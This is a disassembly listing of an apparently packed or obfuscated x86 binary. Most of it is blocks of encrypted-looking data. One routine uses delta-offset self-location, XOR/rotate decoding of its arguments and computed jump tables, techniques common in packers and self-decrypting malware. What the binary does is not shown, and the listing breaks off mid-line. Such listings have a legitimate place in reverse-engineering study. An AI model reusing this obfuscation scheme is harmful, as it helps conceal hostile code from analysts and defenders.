0C073071Fh, 0E5EC9310h, 256A13A9h dd 5F7B5696h, 4B30AD0Fh, 0CC1442A0h, 49FD7EFh, 21D653B3h dd 0AD1442A0h, 0B7D9EB44h, 38B5C4A1h, 1442A043h, 7B99730Fh dd 0F64FA843h, 152908A6h, 5610E103h, 5B296179h, 0F8D2667Eh dd 2E667C5Ah, 0AADD3393h, 0D2005A3Ch, 4D4EEC0h, 927D0000h dd 8A0718F4h, 1442A0F5h, 679FF861h, 0F897BACCh, 660466B6h dd 665F7189h, 13A6AB90h, 3185CD3Fh, 8A415A18h, 0F8309978h dd 0F0870466h, 5E13A6E2h, 96CEE4C2h, 9790A2FBh, 13A6E2E4h dd 6A125263h, 0D877CF95h, 1F142h, 83776B00h, 0D1442A0h dd 5FDC2C82h, 13A99A29h, 902E7EE7h, 0F1079BB3h, 0F3880514h dd 5F13A99Bh, 0D3659DF6h, 2C3E5A35h, 0D8288609h, 0EAFDD876h dd 0A99B966Dh, 82DB4413h, 95A17770h, 0FF6F144Dh, 0A966806Fh dd 9DFF6E07h, 6833C0D4h, 7B62B60Fh, 0B8623239h, 0A19F278h dd 0AD850000h, 8E1F78Bh, 623E54E8h, 0BF9EB448h, 260117ABh dd 579D760Ah, 730723FEh, 0D165835Dh, 33C7DDBBh, 9428401Dh dd 0CFB431E1h, 8B13A9E6h, 0F492B746h, 2EC90115h, 0D25021Ch dd 0DF2A07D5h, 5A92EB01h, 33B0121Ch, 1442A04Ch, 0F28FA10Ah dd 0D6EECBB2h, 0F20CE886h, 7B0E5E92h, 7A8C2C96h, 577E8158h dd 2F57E05Bh, 80000001h, 0ED6A7956h, 1442A016h, 0CA025BC4h dd 73071FFCh, 51FFB99h, 0EFBFD0F3h, 0B3A8229Fh, 4AE613A6h dd 2F47246Bh, 0F4D09ED6h, 0AE07A2DAh, 8F701D55h, 813A6B4h dd 0E600DC2Fh, 82BA13AEh, 85BDD9B4h, 8BC77F46h, 3A622233h dd 0D87809C5h, 2C12h, 424D3B00h, 0E99F1C6Ch, 0A813A6A9h dd 0E2AC7D36h, 1AA6D8E2h, 3413253Dh, 15E693CBh, 0B213A669h dd 46B9E5A1h, 8FD87748h, 9Dh, 617956B8h, 64805B29h, 62815E2Ch dd 0B2D24A15h, 0C5FD5634h, 6E021AF7h, 42C98C79h, 0F33E1B14h dd 27C2FA1Ah, 741B3ACEh, 87112833h, 3D96A288h, 2DD270EDh dd 2FA113A4h, 4278B921h, 41203222h, 79B1C7A5h, 973585DEh dd 320CA0BCh, 8D9FB794h, 70499873h, 247D1850h, 1A3517D0h dd 6AF0306Ah, 8CFh, 41D5F7CFh, 9E32522Bh, 0FE92AC88h, 61F509E8h dd 0C054704Bh, 6D4801E7h, 0CDA7BD51h, 27051BAFh, 8A677D11h dd 7B2BDE72h, 0A9E779FEh, 190D513h, 0CB5F7B56h, 2CC0D8B5h dd 6179565Bh, 5F7E5B29h, 7FCCCB15h, 2ABE17FAh, 2995Ch dd 424DEB00h, 3DBA1C6Ch, 1442A046h, 819D7814h, 4355AE49h dd 8A650365h, 0F9B366Eh, 10091B31h, 13A99B60h, 105B82F2h dd 59F7A958h, 601BC800h, 0E713A9D4h, 11EEAED6h, 0C6D8709Dh dd 229h, 700784E6h, 0DE13A9D8h, 778E6375h, 1442A083h, 0DC2C820Dh dd 0A99B9B5Fh, 80D03913h, 9DED05E2h, 5C280D2Bh, 0EE00E148h dd 1390F2CCh, 13A92C6Ch, 556F81EAh, 51286078h, 8C95693Eh dd 869CC660h, 0BA60DD2Dh, 58144DFBh, 1D569BEFh, 0C5056232h dd 7EE3Fh, 0B6D8B000h, 13330C22h, 738D697Fh, 0D6EAC9DFh dd 35512C42h, 2922C8A1h, 889E324Eh, 0E6FC90AEh, 485EF208h dd 0CBF536Bh, 0E818DF5Ch, 71B613A9h, 16F492E2h, 0F7D4EE00h dd 0FCD9A7DFh, 0FFDEACE4h, 8E5B3EBh, 0A0877CF9h, 0EA531442h dd 521B5991h, 99625E12h, 7D9572EDh, 11ED12E9h, 72EAE05Ch dd 0A000001h, 66788E6Ch, 6A795691h, 0A0F48B08h, 0F9621442h dd 42A0E98Eh, 0A3FC6514h, 0A8C09D6Bh, 0C4DEBA58h, 0BDDFF18Ch dd 0AC8AF19Eh, 6AC35E96h, 0B3139D1Ah, 0F86113A6h, 0B46813C0h dd 0CEDF13A6h, 919E696h, 41BED878h, 0E7000000h, 5C39424Dh dd 1E9BEB44h, 13A6A968h, 0E831B626h, 0D590A996h, 0E497447Ch dd 6313A658h, 0C9671252h, 0AAC6A1ECh, 2E7E1951h, 0A658CAB1h dd 0D1F8813h, 7719CD32h, 0CD0AD8h, 8C2A0000h, 0B28799ADh dd 29617956h, 6B5D805Bh, 2F281EAEh, 5D30B64h, 0E503DD28h dd 69B912ADh, 9BD3F1CBh, 7ED7F1CDh, 0FBD8A66Ch, 3C738BDCh dd 0AFC0234Fh, 24CF2FFCh, 5C36C209h, 3395E53Eh, 42A5C1B6h dd 98248D14h, 6B8D9FBFh, 42DF9F76h, 334B2814h, 9F0F809Fh dd 3874D24Fh, 990213A4h, 0B4D0AB49h, 132F0A20h, 1A1A3CBFh dd 6DF3336Ah, 697h, 790D2F07h, 0D66A8A63h, 36CAE4C0h, 992D4120h dd 0F88CA883h, 0A580D91Fh, 5DFF589h, 5F3D53E7h, 0C29FB549h dd 0B36316AAh, 0A9E94136h, 39C80D13h, 0CB5F7B56h, 0E2B9D8B5h dd 95954DFDh, 0F1CCA828h, 7CD552F3h, 0F471D323h, 1442C30Fh dd 2E5062CBh, 8E75F254h, 4C1442C3h, 56FCD1E3h, 0AF116179h dd 42A04D32h, 8EA00914h, 51DFAC8h, 0B8359771h, 1442A0C3h dd 4214268Fh, 32h, 617956D1h, 1CF99729h, 0FBD8F204h, 0CA47ABE3h dd 0A7C6A39Ah, 920F91B8h, 1442ADEDh, 0F5A00069h, 3AC13E5Fh dd 98144255h, 0E97DD62Fh, 421Bh, 7956AA00h, 0DD36542Eh dd 997513A5h, 0A0740B88h, 79E21442h, 0C14DE820h, 0FB96CEE2h dd 0A00EF0E9h, 0B0891442h, 0AD8A5890h, 0B08F5D95h, 1450279Ch dd 0BFE7105Ch, 7BCBE3C0h, 0A0E79C19h, 0A731442h, 5605D6F8h dd 52296179h, 8321713Dh, 671C99A4h, 0F31442A0h, 0C7A5318Ah dd 0CCDE79B1h, 9B9D71EEh, 0EE5713A9h, 0C22009Eh, 0A17E1CFAh dd 9B6E1592h, 83EC13A9h, 0A380962Ah, 137C538Bh, 45CE4B9Bh dd 0A1442A1h, 41798D6Ch, 4CB594A6h, 69815EFCh, 3D19B719h dd 0D5C3B823h, 268F1B94h, 0FFDCF214h, 0B7D8AFE7h, 72CBEBC4h dd 8EA88422h, 83219E7Ch, 0D11C70C2h, 0F3F11468h, 52925A46h dd 52ACCh, 7A9C7400h, 0D7F7D0E6h, 37512D43h, 9AAE8DA3h dd 0F915F006h, 0ED668C65h, 4C62F612h, 0AAC05472h, 0C22B6CCh dd 0D083172Fh, 0EBDCA320h dd 357A13A9h, 617956A6h, 7A55F3CDh, 9567EE57h, 0A4FD67D3h dd 6B45D16Ch, 687A154Dh, 4C26714Eh, 0CF9DD52Eh, 0EC8ADAF2h dd 2FC1F90Dh, 4209CDB2h, 0C7208914h, 0E8B1EFB5h, 0CCE4C1BCh dd 689E6138h, 86F8E05Bh, 0BACE60C9h, 0A5445690h, 62h, 39424DCEh dd 0DBE3435Dh, 57B69A30h, 0C44191EAh, 13A6C6DCh, 27C5157Eh dd 5DDA3C49h, 13A6D8A6h, 9B60CB34h, 3713A6D8h, 0B32575CEh dd 0E4FEE09Fh, 976CE933h, 4313A6E6h, 4D6F81DAh, 0DDFBD573h dd 0E62BD2CBh, 0AA813A6h, 3FDA1230h, 1E36132Dh, 8096748Ah dd 455C248h, 0AA480000h, 0DE79B1D1h, 7956F7CCh, 32AF1161h dd 1442A04Dh, 307043FAh, 1F701410h, 10DEA4B6h, 0F10DE833h dd 0F70DEBB9h, 3FCB24BFh, 0A3F34C60h, 87C22C31h, 0D6DA95Fh dd 4A98096h, 224456BCh, 0D2228C03h, 0DFF3D270h, 1FA0CA7h dd 13A6768Fh, 860365C5h, 13A679F1h, 0F289F45Dh, 6013A679h dd 0D4669EF7h, 0D1801462h, 0A7F77E55h, 0A6F4552Ah, 86980113h dd 0A6F4F28Dh, 1C485913h, 77C99F60h, 4738D8h, 4D610000h dd 0BA1C6C42h, 0A024DB58h, 49B21442h, 0A9883E37h, 0A94713A6h dd 0B07EB6CAh, 0E47FB7D7h, 319A798Bh, 0A9B34CF9h, 5E413A6h dd 0CEBB9F1h, 17F2C0F8h, 2B28C3FBh, 18702064h, 0E01F5F07h dd 0F5D87808h, 104h, 6179561Eh, 49987311h, 0E7F9526Eh dd 5C785321h, 19F49224h, 7D9371FDh, 5C74516Bh, 1BF49224h dd 0F2CFE9FBh, 0FA6C46DAh, 61B34EC6h, 0FA77C7EDh, 14425B05h dd 5D5668D1h, 14425F48h, 9AEA02DFh, 0A0C4BB38h, 32921443h dd 43A1CEB5h, 0CA238C14h, 0A38096B8h, 137C538Bh, 41D94B9Bh dd 0CCE2C068h, 0E898106Ch, 6D7BF8D6h, 3B13A775h, 70A8C49Fh dd 0C9E87CD5h, 0BEDAB5C6h, 15B31565h, 19E71F39h, 51EC243Ch dd 45EDE6F8h, 171441A0h, 9AFC5EAEh, 8E74661Dh, 798BF41Bh dd 1868845Fh, 744239B6h, 0A7101B8Eh, 825D7395h, 0ACFD1266h dd 5A9A6234h, 2D6D4h, 0CEF0C800h, 2B4B243Ah, 8BA58197h dd 0EE02E1F7h, 4D69445Ah, 411AE0B9h, 0A0B64A66h, 0FE14A8C6h dd 60760A20h, 24D76B83h, 0ED00F774h, 89CE13A9h, 2C7B56FAh dd 49DD3650h, 64375633h, 0A8E3CBB2h, 0B28C2079h, 6A1A3514h dd 0DB809779h, 6E4355AEh, 375424Dh, 0ECBD43BEh, 4FB66FEh dd 0D2144256h, 43C01069h, 13A65F8Dh, 0B7D3AE4Ch, 255DC6A5h dd 0A65F8778h, 73334413h, 7712B44Bh, 1970E2D8h, 1920F2C9h dd 0C653F204h, 73000000h, 6DEAF7D5h, 13A64796h, 7082DB44h dd 6179569Bh, 64805B29h, 0A4167F2Ch, 24011442h, 8562780Ch dd 49BB1D6Dh, 66574DAh, 9E65D0FBh, 3C1442C8h, 24FBC1D3h dd 76F3436Bh, 13A6C668h, 0A5BD9A36h, 0E579D26Dh, 95E5C9C6h dd 40319F18h, 0DA73E314h, 22C2B921h, 62C3D434h, 1FA25764h dd 0FED876C6h, 0FB0DA8E0h, 55A47F1Dh, 6F035C7Ch, 0E627E59h dd 62366C0Bh, 0D0DA60A0h, 0CE000001h, 2A40D4F6h, 879D3151h dd 0E7FD91ABh, 4A60F408h, 0E6BF536Fh, 506C4700h, 0AECCA6BCh dd 1026041Ah, 7189667Ch, 0FD7A2ADDh, 13A9EE06h, 56008FD4h dd 0F1CB5F7Bh, 0F8E3017Fh, 0D626D436h, 42AAA259h, 0B5C73014h dd 12A6BE9Bh, 0B3309241h, 1442A0CCh, 0D6AD2A8Ah, 841442A0h dd 96B0C21Bh, 0B351A1B9h, 5230BCD8h, 96642A3Ch, 0F70DA1B9h dd 14B2021Ah, 4AE51D39h, 0F49B7238h, 83ED6ABAh, 5113A6B9h dd 22F9B0E8h, 61EFB62h, 5CEB44B6h, 45336D6Ch, 9DF21133h dd 4923C111h, 858F32Bh, 0A660F48Bh, 0E7F96213h, 7AAA8C09h dd 4FB81442h, 6D8361FFh, 0C2889A35h, 0C7FF17F4h, 0B6BEE663h dd 0E785D5D9h, 1EB9F10Bh, 649CB692h, 5CD9B7C9h, 1C6E61FAh dd 758B1F88h, 7A488098h, 974E869Ch, 0BC9984C0h, 9EF110A4h dd 2943C010h, 0A7040A4Ch, 274063Eh, 0B82B4C2Eh, 0E2FC0EEFh dd 0E7B5ED05h, 0E8B6EE0Eh, 1EB9F10Dh, 8C68B792h, 0A2E11972h dd 72E7ABDBh, 246BEB9Bh, 7BC83A8Ah, 7E5F041Fh, 0D4FC1B60h dd 237C06D4h, 54B63311h, 1B0C37FFh, 16939E7Dh, 3337C061h dd 0F32B84EDh, 0FE674658h, 18F2906Ah, 0C0F18603h, 0F45D3337h dd 0B6C8639Bh, 3EBBFC93h, 3337C0B9h, 353AC15h, 0DCFA9186h dd 1C54BD34h, 0C559714Eh, 82BAD2AFh, 815F19D5h, 0DA4C0A74h dd 0A348519Bh, 8421339Eh, 68805DC0h, 0C9E1BED4h, 0D0E4C391h dd 0D1F1CA98h, 0F58A0799h, 616B410Bh, 788E6CF8h, 0F2B28940h dd 933149BEh, 0CD68A0B4h, 0F7661EBBh, 586E021Ah, 992B637Bh dd 0A6BA9937h, 410B443Bh, 63A2126Bh, 0A0E4A0C0h, 0FE7BCB24h dd 6B41E079h, 885A6CD5h, 3, 563E8D17h, 56245C7Eh, 5B296179h dd 612F677Dh, 63316987h, 66346C88h, 69376F8Bh, 703E768Ah dd 74427A94h, 0EE437B9Bh, 81E28952h, 4C2h, 4EA8300h, 31241433h dd 14332414h, 89575C24h, 4C781E7h, 83000000h, 3C8704EFh dd 34895C24h, 66406824h, 0C890000h, 4EC8124h, 89000000h dd 1CB82404h, 3556202Dh, 188D244Dh, 32A93540h, 0C6894946h dd 4EC8358h, 83242489h, 59042404h, 7FDF68h, 24048900h dd 8B8h, 89C80100h, 0C8B5830h, 0E2895224h, 4C281h, 0C2810000h dd 4, 5C241487h, 5324348Bh, 0C381E389h, 4, 8704C383h, 0E95C241Ch dd 0FFF92CF7h, 1774D684h, 0BFFA271Fh, 2383B9A2h, 0EB506DB8h dd 0FFC50307h, 2A5DDAE0h, 96E76062h, 1AEAB34Fh, 5D7D0F16h dd 0DC1F1939h, 0EFD43033h, 85DE1705h, 3A150B2Bh, 61ADD73Bh dd 7ECB22Bh, 0DAF5FA15h, 0FB7B9C4Fh, 92850851h, 6212430Ah dd 4FAA8827h, 0F492433Fh, 0F72A082Eh, 93E1B04Fh, 14175E45h dd 97DD4E35h, 7C89EA16h, 2A8D8D7Ah, 6A07EB52h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0BFF9C352h, 4FFD3020h, 1B718D89h, 896007E4h, 0E4220595h dd 21958B07h, 6107E42Ah, 2DA185C7h, 58D807E4h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 8436E9C3h, 0C7F9C25Dh, 0E422B985h, 7, 0C0816600h, 0B5FF925Ah dd 7E40A59h, 0C398D681h, 95FF2548h, 7E43061h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0A7C35545h, 4259589h dd 850F07E4h, 6, 1D6DB58Bh, 6A07E4h, 0E4195FFh, 0C08B07E4h dd 3D2538EBh, 0A1672D0Ch, 0D0210A55h, 1974F04Dh, 9FEBC69Fh dd 0DB0B6BF8h, 75AA4C6Bh, 5F754031h, 0A43E7AADh, 473DEE69h dd 0B048A2FCh, 0E3CFD71Eh, 2FA2CD83h, 0D2808702h, 5FE990B1h db 1, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_5F76F7 proc near ; CODE XREF: sub_4068E0+12Cp ; sub_409CA0+1Dp ... push edx mov edx, esp pusha call $+5 pop ebp sub ebp, 7EB5275h mov eax, [edx+8] cmp eax, 78263845h jnz loc_5F784D mov eax, [edx+0Ch] mov ecx, [edx+18h] ror eax, cl mov ebx, 384C4A89h xor eax, ebx sub eax, 4 mov [ebp+7E41B71h], eax mov ebx, [eax+4] mov edi, eax mov eax, [edx+10h] mov ecx, [edx+18h] ror eax, cl mov esi, 0C42888CEh xor eax, esi sub eax, edi and eax, 0FFFFFFFCh sub eax, 4 mov [ebp+7E42DA1h], eax mov eax, [edx+14h] mov [ebp+7E422B9h], eax mov eax, [edx+18h] push ebx jmp loc_5F7811 ; --------------------------------------------------------------------------- db 0FFh, 0B5h, 59h aFS db 0Ah db 'δ',7,'ιΉ',0 align 4 dd 6A5B5FFh, 0AEE907E4h, 0FF000000h, 0E41811B5h, 0A3E907h dd 0B5FF0000h, 7E40919h, 98E9h, 0FDB5FF00h, 0E907E422h dd 8Dh, 1581B5FFh, 82E907E4h, 0FF000000h, 0E41E15B5h, 77E907h dd 0B5FF0000h, 7E40AEDh, 6CE9h, 0D5B5FF00h, 0E907E402h dd 61h, 1D49B5FFh, 56E907E4h, 0FF000000h, 0E41E8DB5h, 4BE907h dd 0B5FF0000h, 7E42291h, 40E9h, 5DB5FF00h, 0E907E41Dh dd 35h, 2BF1B5FFh, 2AE907E4h, 0FF000000h, 0E40635B5h, 1FE907h dd 0B5FF0000h, 7E40E15h, 14E9h db 0 ; --------------------------------------------------------------------------- loc_5F7811: ; CODE XREF: sub_5F76F7+65j mov ebx, eax mov eax, 0Bh mul bx lea ecx, [ebp+7EB52D6h] add ecx, eax jmp ecx ; --------------------------------------------------------------------------- db 0FFh, 95h, 61h dd 5B07E430h, 1B71858Bh, 583907E4h, 0F850F04h, 53000000h dd 95FF016Ah, 7E40E41h, 0FFE2E95Bh, 5A61FFFFh db 0C3h ; --------------------------------------------------------------------------- loc_5F784D: ; CODE XREF: sub_5F76F7+18j popa pop edx mov eax, 7E41A8ADh jmp eax sub_5F76F7 endp ; --------------------------------------------------------------------------- dw 858Bh dd 7E42169h, 53C48D8Dh, 418907EBh, 0C6C38B01h, 0E42C2D85h dd 0DF685607h, 0FFA9C530h, 0E42141B5h, 0A7858D07h, 0FF07E7B0h dd 0C18D8DD0h, 5107E426h, 0B5FF406Ah, 7E406EDh, 929B5FFh dd 0D0FF07E4h, 6EDB5FFh, 0B5FF07E4h, 7E40929h, 5E8h, 0DB460C00h dd 5F5FB604h, 0C104EF83h, 0C102242Ch, 3022424h, 1CF7243Ch dd 0BA24h, 34FF0000h, 0EB815B3Ah, 41212367h, 434DC381h dd 0C3815144h, 5475ADADh, 83171C89h, 143B04EAh, 0A850F24h dd 0E9000000h, 1Ah, 4B12306Eh, 0FFCCE9E9h, 5C6BFFFFh, 0A15C3A20h dd 0EB79223Ch, 0E96E9B88h, 9D8DD992h, 7E40405h, 0C00B038Bh dd 7840Fh, 38B0000h, 89045B8Bh, 0E8C98B18h, 14h, 3A94A702h dd 0E61EB1D8h, 246FA537h, 2D8E32D9h, 0A1A217C1h, 6E8h dd 26165C00h, 81693262h, 0C20D27F3h, 80595F74h, 0C1812AEBh dd 632Bh, 0FE960h, 0DE3A0000h, 4B0A77E6h, 80041D81h, 18468BA9h dd 7BBE6123h, 815D39CDh, 39B4E0EEh, 7E95Dh, 0F2070000h dd 0F930DBD2h, 5831FF7Ah, 0E8813AB6h, 1F9F3Ah, 0E881F38Ah dd 0F9A6FC8h, 5ACBC081h, 0DE95378h, 0A0000000h, 705737D8h dd 0AD54394Ch, 9F23C51h, 68F0F50h, 81000000h, 6110ACAh dd 0F018F76h, 588h, 0F2816600h, 0E983452Eh, 9850F04h, 0F000000h dd 387h, 19CB8000h, 1EE81h, 850F0000h, 0FFFFFF9Dh, 8D94F680h dd 0EB55CE8Dh, 718D8907h, 6A07E41Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0EBDEC352h dd 2DA185C7h, 5E1C07E4h, 0C7F80000h, 0E422B985h, 7, 0F6816600h dd 0B5FFDB39h, 7E406A5h, 2AD99533h, 95FF07E4h, 7E43061h dd 82F18160h, 0E953BE02h, 5, 0D4994965h, 6A611Fh, 0E4195FFh dd 0C08B07E4h, 4CF93DEBh, 7CECDF50h, 3E25AEA6h, 66AEA9BDh dd 0BF0C2751h, 37CE5484h, 41430F7Dh, 0EF7BC23Ch, 0AF010F0Bh dd 4DE17498h, 735F9B77h, 33F81767h, 18E3B631h, 3F9EEA16h dd 48D9AAA8h, 0E87CA811h, 0Bh, 0DA96EADEh, 7636BB74h, 666AC3A3h dd 9194D181h, 8D8B565Eh, 7E40979h, 81C6815Ah, 0B2000071h dd 0EC6BBF23h, 0F78100D4h, 0D4F05Fh, 8BCF8B66h, 518D011Eh dd 8107E424h, 927195C3h, 2810F65h, 0B5000000h, 5AEB81E6h dd 81147B82h, 0DF8C0FF2h, 2F38163h, 2B391705h, 0E405C585h dd 958B5307h, 7E41F1Dh, 958B068Fh, 7E4067Dh, 6004EE83h dd 2A69BD8Bh, 8B6607E4h, 0EF8161F3h, 1, 1D850Fh, 85890000h dd 7E41505h, 24E9h, 195A3200h, 44025A95h, 2E7C34D6h, 2247D36Ch dd 0E9B4E5E2h, 0FFFFFF87h, 0FB4D6C4h, 0C8AFF110h, 418B22A6h dd 0BE934h, 84F0000h, 4919h, 0 dd 50EE900h, 0DE680000h, 0E907EB57h, 0FFF92713h, 0EB584768h dd 2709E907h, 0D568FFF9h, 0E907EB59h, 0FFF926FFh, 0C5597B53h dd 22B6D6AFh, 8216300Ch, 0E5798D6Ch, 44D8F4CFh, 0F1CC856Bh dd 512B41D5h, 0AB899F33h, 0EEB0195h, 0FFAF62F6h, 0A9F6FD82h dd 85145913h, 275F7B56h, 53317C59h, 116A053Dh, 7D315E7Dh dd 8B32B02Dh, 178013A6h, 69FA55C7h, 7A53409Dh, 9E10A268h dd 4F7E1D49h, 40394BA4h, 13A6CFBFh, 134BFB0Ch, 0D877A2ECh dd 38FD38AAh, 709EA466h, 31CBF5Eh, 41DF0000h, 79144C64h dd 0C7459267h, 50A00E81h, 0A68C05D3h, 963D313h, 323C87Fh dd 46515AB3h, 0EEC3E5CCh, 1D6D414Eh, 0DCBB59BBh, 8AF590C8h dd 110B2AF5h, 0EDE6F861h, 16EF2B8Fh, 0E5BCF45Dh, 52B404AAh dd 84BCDAB4h, 0C1DED7E9h, 8D1E8B10h, 5936D424h, 8A16340Eh dd 0BE5991B1h, 0DEBBD165h, 0D59572C6h, 0B2F25CEFh, 3742Ch dd 3A5C3400h, 97B790A6h, 0F711ED03h, 5A6E4D63h, 0B9D5B0C6h dd 0ADA64C25h, 0C22B6D2h, 6A801432h, 0CCE2768Ch, 9043D7EFh dd 0F79C63E0h, 0F53A13A9h, 6C424D66h, 0F60F9F1Ch, 0DC4513A9h dd 0FA10EE8Ch, 916C0AE8h, 6907E175h, 64906D8Ch, 0C330FD63h dd 633E586Ah, 66620F47h, 0F9EC5699h, 61B0041Ch, 3A6A15D5h dd 30B74FAh, 0C59D0000h, 20F90FA3h, 7A566C00h, 0D7B6CC60h dd 3E192FC3h, 4FB58E22h, 8B1F3B16h, 0E97D9B75h, 4BDFF5D3h dd 0AC405835h, 37CC49F9h, 0A313A9F8h, 424DCF5Eh, 0A57E1C6Ch dd 0A0B24D85h, 0F66945C2h, 82EB13A9h, 0A1B59432h, 1A6ECE69h dd 0EEDEF54h, 46F3B9CBh, 13A923B5h, 19450112h, 0D8709AE6h dd 193912B0h, 1C3813E1h, 0DB12B1C3h, 32000001h, 2BAC53D0h dd 0BA2A13A9h, 14F66A89h, 95A7000Eh, 617956C0h, 667E5B29h dd 1996F8D2h, 1442A062h, 0AF23F4E1h, 0A8F9E09Bh, 8D72EF3Fh dd 49144238h, 0E4ABCEE0h, 0FFDC7ACAh, 214AFE7h, 0D750C224h dd 54B67035h, 292C128Fh, 84DD578Bh, 0D3777972h, 0D43D13A6h dd 0EE980A9Ch, 126917E4h, 0F38C8597h, 5813A6BDh, 0A05F1F47h dd 35D87800h, 34h, 65424D5Eh, 0A8836FECh, 0CBF82C8Ch, 0CD26421Dh dd 24C22474h, 59F42C4Ah, 0B5984E47h, 0ED5613A6h, 857708B5h dd 0C3D413A6h, 0EC24DB83h, 0BBB1D877h, 0DA000000h, 502E7956h dd 0DBA9E13Ah, 8B70ED00h, 471442A0h, 0BB4D85DEh, 1426421Dh dd 0CD051DFAh, 0AABE9D3Bh, 0ABC5D772h, 466B6CEh, 84BF6792h dd 96012DF9h, 1442BFE1h, 0BF0AF16Eh, 5FC81442h, 3F19A50Eh dd 3C4EE921h, 0BB84251Ah, 0BE9B1442h, 9CF312A6h, 91EA02DFh dd 6366C441h, 57F513A4h, 6D4C5E7Eh, 3B16B404h, 0C7C99E18h dd 50A9951Bh, 0AFCBA6BCh, 19D6C05Bh, 29AFEF6Ah, 17Dh, 9D31532Bh dd 0FA8EAE87h, 5AEE08E4h, 0BD516544h, 1CB0CCA7h, 0C9A4BD43h dd 290319ADh, 8361770Bh, 0E6C3D96Dh, 0D7873ACEh, 0A9F9A55Ah dd 5DEC3113h, 0CB5F7B56h, 5F7553F1h, 3E56334Dh, 3092D9AAh dd 42A0CCB3h, 0F218A14h, 0F2CD18F5h, 0BB2D7DD6h, 0D5CD2B5Eh dd 975D6F41h, 40D4ECC9h, 0F0406E21h, 0A6E46F73h, 74C42D13h dd 0D3ACFBD6h, 3089A580h, 76943D7h, 0FB5328A5h, 96FF13A6h dd 0A6FB542Bh, 0D990213h, 47E21A2Eh, 0FB433C35h, 9E1013A6h dd 0EA9CD74h, 0F27A59FEh, 0EE27CC2Ch, 0B693ADBFh, 19F40A9Eh dd 340FADFDh, 0E545E018h, 7F444D81h, 2FF5072Eh, 0C4A9h dd 424D3800h, 0B435D39h, 27DB5C69h, 29823734h, 0B70380D0h dd 0A613A9ABh, 0D8102E08h, 0BA132F0Ah, 1416ED6Ah, 5BC413A9h dd 0B1016A49h, 0AC9B353Fh, 0C9DB1983h, 40583503h, 5D7552F0h dd 61169325h, 0ED13A931h, 0F7192B84h, 9CEC04E1h, 0FAD522FEh dd 0B20BA6DEh, 532DDAA0h, 305D5B65h, 0AF8CF3B3h, 25D54797h dd 0A3C39C0Ch, 0F370D06Bh, 9FC1D33Ah, 568DAC89h, 0D4E86907h dd 5991AB87h, 981565BEh, 429F0CE3h, 5DAD066Fh, 49F4A6EBh dd 74F05070h, 7C425483h, 0DDB4CFAEh, 0BB423E16h, 762D65BEh dd 9B78E79Fh, 0DE680F8Ch, 0D2AB429Fh, 0A8F861B2h, 9FDE542Bh dd 40990242h, 0A1B996ACh, 3E369h, 8D720000h, 5C7E563Eh dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h dd 768A6937h, 7A94703Eh, 7B9B7442h, 8953EE43h, 4C381E3h dd 83000000h, 1C8704EBh, 2C895C24h, 3DC6824h, 34890000h dd 773B6824h, 3C890000h, 0BF575524h, 2AC7233Bh, 3263DCBDh dd 5FFD2969h, 80165CBEh, 5DEE01C9h, 4EC81h, 24890000h dd 24048324h, 65685F04h, 89000015h, 478F2434h, 2434FF08h dd 4C4815Fh, 0FF000000h, 835E2434h, 1CE904C4h, 0A5FFF922h dd 0D2059E50h, 5A302644h, 0D35119Fh, 0EB5B77B8h, 0FFC50307h dd 636D7BE0h, 0F100CA41h, 0AD0A5D7Ch, 188B825h, 901F7E6Ch dd 0C8C13232h, 2C22AD50h, 704F6F07h, 7CBA9C77h, 0BFE26F07h dd 0C93B556h, 0DC754D54h, 8D030308h, 0C544265Fh, 711EF501h dd 0ABCE3625h, 9637818h, 0C0379617h, 4963582Bh, 0B66B2A10h dd 0AE6D1A56h, 0CE4D0A29h, 11E83Fh, 456F0000h, 0B8641871h dd 0EBA35E1Fh, 0F352109Ah, 0B62E2F5Eh, 81665BD9h, 81177FDAh dd 5C9FC3h, 0F08B6600h, 0D3CB8B9h, 0BAE9813Fh, 0F3F0D25h dd 33FFD6B7h, 5FF28B66h, 0F6BE5356h, 5A4D7A83h, 0F2C7815Eh dd 0BA7BC6E7h, 788136E0h, 9E51F781h, 14E94FC3h, 0CD000000h dd 8421F666h, 40468346h, 13E21F0h, 0C5722948h, 819AA588h dd 89179BF7h, 57D78B76h, 69D5DA81h, 38F4E5Ch, 81C2BF0Fh dd 6210EAEBh, 0CA816668h, 0C38174D0h, 686210E6h, 49C1BF0Fh dd 0FF98850Fh, 0EE9FFFFh, 88000000h, 46BB64E9h, 286687C8h dd 101CA3A9h, 5E824h, 0FCE90000h, 0E99E01FCh, 0Bh, 732A6376h dd 0A962A740h, 5B3EBDC5h, 0AE8h, 76FDE00h, 9B40D7F9h, 0E90E43A6h dd 0Ch, 5C9E4910h, 0D3A80EE5h, 87EFA7E3h, 79C3815Eh, 0E9000059h dd 9, 0BFC105D7h, 6DAB73E3h, 163168B5h, 0E95F0000h, 10h dd 7A298084h, 32927872h, 0CE9973B9h, 0A1A659E2h, 0EA81038Bh dd 1E1C20A1h, 9543F081h, 81F96BCEh, 305371C0h, 0D18B6017h dd 61D7BF0Fh, 0E20EE881h, 6E96B82h, 3000000h, 4051C91Ah dd 0F5038955h, 0F04EB83h, 38Ah, 0CFB70F00h, 1EF81h, 850F0000h dd 0FFFFFFB8h, 5820Fh, 81660000h, 8B2234C1h, 0F1BD83C0h dd 7E413h, 0BD830975h, 7E40935h, 50197400h, 0B8C08B53h dd 421h, 14798589h, 9D8D07E4h, 7E6E9F0h, 585BD3FFh, 935BD83h dd 740007E4h, 0B8535017h, 421h, 14798589h, 9D8D07E4h, 7E6E6DFh dd 585BD3FFh, 9D8BC08Bh, 7E415DDh, 2C2D85C6h, 685607E4h dd 9CA8B852h, 2141B5FFh, 858D07E4h, 7E7B0A7h, 46AD0FFh dd 100068h, 1B5FF00h, 6A07E41Ah, 85D0FF00h, 0D850FC0h dd 0B8000000h, 0 dd 72B78D8Dh, 0E1FF07E4h, 0C38BC88Bh, 53C4003h, 0F8h, 30C508Bh dd 5BD83D3h, 7E404h, 0E840Fh, 9D8B0000h, 7E40405h, 3215858Bh dd 38907E4h, 858D5251h, 7E44452h, 0FA8BD0FFh, 0D18BF18Bh dd 0A4F3C88Bh, 2C2D85C6h, 685607E4h, 0D41F6D39h, 2141B5FFh dd 